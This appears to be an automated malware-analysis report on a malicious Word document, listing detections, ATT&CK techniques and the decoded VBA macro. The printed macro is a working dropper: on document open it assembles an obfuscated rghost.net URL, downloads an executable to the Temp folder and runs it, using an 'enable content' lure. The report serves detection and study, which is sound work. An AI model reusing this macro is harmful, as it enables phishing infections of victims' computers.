MALICIOUS
298
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The document contains VBA macros that instruct the user to 'ENABLE CONTENT' to view the document properly, a common social engineering tactic. The macro then uses the URLDownloadToFile API to download a second-stage executable from 'http://rghost.net/download/7Lmch7BH6/4f181a9578d5c400b7edf6ed46e40febcdd79566/purchase%20order' to the user's temporary directory as 'TEST.exe'. Finally, it attempts to execute the downloaded file using the Shell command.
Heuristics 9
-
ClamAV: Doc.Downloader.Generic-6754310-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6754310-0
-
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOADReference to URLDownloadToFile API
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell VLADDNVR, vbNormalFocus -
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal XMPODBKP As Long, ByVal DBFNHUNN As String, _ -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
VLADDNVR = Environ("Temp") & "\" & "TEST" -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1588 bytes |
SHA-256: 0ba3bcb611179138270a1251ce838bc6404971503f3ea5f80046e9a92fd57f55 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Win64 Then
Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal XMPODBKP As Long, ByVal DBFNHUNN As String, _
ByVal FCNHGWXN As String, _
ByVal APLITPIP As Long, ByVal BKFRYHOX As Long)
#Else
Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal XMPODBKP As Long, ByVal DBFNHUNN As String, _
ByVal FCNHGWXN As String, _
ByVal APLITPIP As Long, ByVal BKFRYHOX As Long)
#End If
Sub Document_Open()
ABUNHXJD
End Sub
Sub ABUNHXJD()
EBGTMDGL = "rghost.net/download/7Lmch7BH6/4f181a9578d5c400b7edf6ed46e40febcdd79566/purchase%20order"
VLADDNVR = Environ("Temp") & "\" & "TEST"
EBGTMDGL0 = "h"
EBGTMDGL0 = EBGTMDGL0 + "t"
EBGTMDGL0 = EBGTMDGL0 + "t"
EBGTMDGL0 = EBGTMDGL0 + "p"
EBGTMDGL0 = EBGTMDGL0 + ":"
EBGTMDGL0 = EBGTMDGL0 + "/"
EBGTMDGL0 = EBGTMDGL0 + "/"
EBGTMDGL0 = EBGTMDGL0 + EBGTMDGL
EBGTMDGL0 = EBGTMDGL0 + "."
EBGTMDGL0 = EBGTMDGL0 + "e"
EBGTMDGL0 = EBGTMDGL0 + "x"
EBGTMDGL0 = EBGTMDGL0 + "e"
URLDownloadToFileA 0, EBGTMDGL0, _
VLADDNVR, 0, 0
If Len(Dir(VLADDNVR)) > 0 Then
Shell VLADDNVR, vbNormalFocus
End If
End Sub
Attribute VB_Name = "NewMacros"
Sub order()
'
' order Macro
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.